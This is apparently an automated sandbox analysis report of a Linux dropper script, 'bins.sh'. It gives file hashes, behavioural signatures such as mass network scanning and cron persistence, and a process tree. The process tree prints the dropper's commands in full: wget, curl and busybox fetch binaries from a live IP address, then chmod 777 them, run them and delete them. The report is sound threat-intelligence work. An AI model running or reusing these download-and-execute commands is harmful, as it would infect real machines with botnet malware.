Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    26/11/2024, 18:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    287fd8ff31d734e6b93c9a8bbeef08ae

  • SHA1

    019d60c4998c554bbb85d816dfd93c0079c4fe03

  • SHA256

    4404513cb0bbcbc2922b20dd2655132b5f3a5f0f11141ed6e2291fe622c39df8

  • SHA512

    14cfd73b971d8acf7e9e5263ac01f6446a13f9d71eec3fb0c595dc1cee10531d19c638ce76e14f8788e2bf9f329ded26959f85d27d67393f74d1ec461c7f88a2

  • SSDEEP

    96:DW6M1f1E8zbW9EEafjhzsjEb7bwqg3/SOch+zWx41aGjybnuP0qg3/SOqh2EEafl:668zbWShzYEXttMzDxylzbg

Malware Config

Signatures

  • Contacts a large (2047) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1502
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1503
        • /usr/bin/wget
          wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/chmod
          chmod 777 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          ./8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
          • Executes dropped EXE
          PID:1511
        • /bin/rm
          rm 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb
          2⤵
            PID:1513
          • /usr/bin/wget
            wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/chmod
            chmod 777 GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • File and Directory Permissions Modification
            PID:1517
          • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            ./GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
            • Executes dropped EXE
            PID:1518
          • /bin/rm
            rm GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY
            2⤵
              PID:1520
            • /usr/bin/wget
              wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:1521
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/chmod
              chmod 777 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • File and Directory Permissions Modification
              PID:1524
            • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              ./eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
              • Executes dropped EXE
              PID:1525
            • /bin/rm
              rm eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /tmp/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                ./wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                • Executes dropped EXE
                PID:1532
              • /bin/rm
                rm wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo
                2⤵
                  PID:1534
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:1535
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:1536
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /bin/chmod
                  chmod 777 40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1538
                • /tmp/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  ./40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1539
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1541
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1542
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1543
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1544
                      • /bin/rm
                        rm 40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf
                        2⤵
                          PID:1546
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/6h6MVlCJshDxmomNotsocz6RjWoYOJBihC
                          2⤵
                            PID:1549

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/40Nv4EfSYZ90kl24S0WvvlyrGXWtQC2EJf

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /var/spool/cron/crontabs/tmp.vkdats

                          Filesize

                          210B

                          MD5

                          6b9f76afb92200cb6e7728010f2a6479

                          SHA1

                          441533a5aa68b496cea9a792404c8146dd11725f

                          SHA256

                          6a5ed685c0a3a1365bd4c379c26a1c12248b40cee97ae96c8c19f21bcaabb8b6

                          SHA512

                          c8699df0c9f2b4a96dbe03279ec576b57e9b2c468030e6dad27da39fd9158d5ac89f4101e1c23102cecc21a6ab591ef2f332f7e4e94491b45d22dd7a2040b995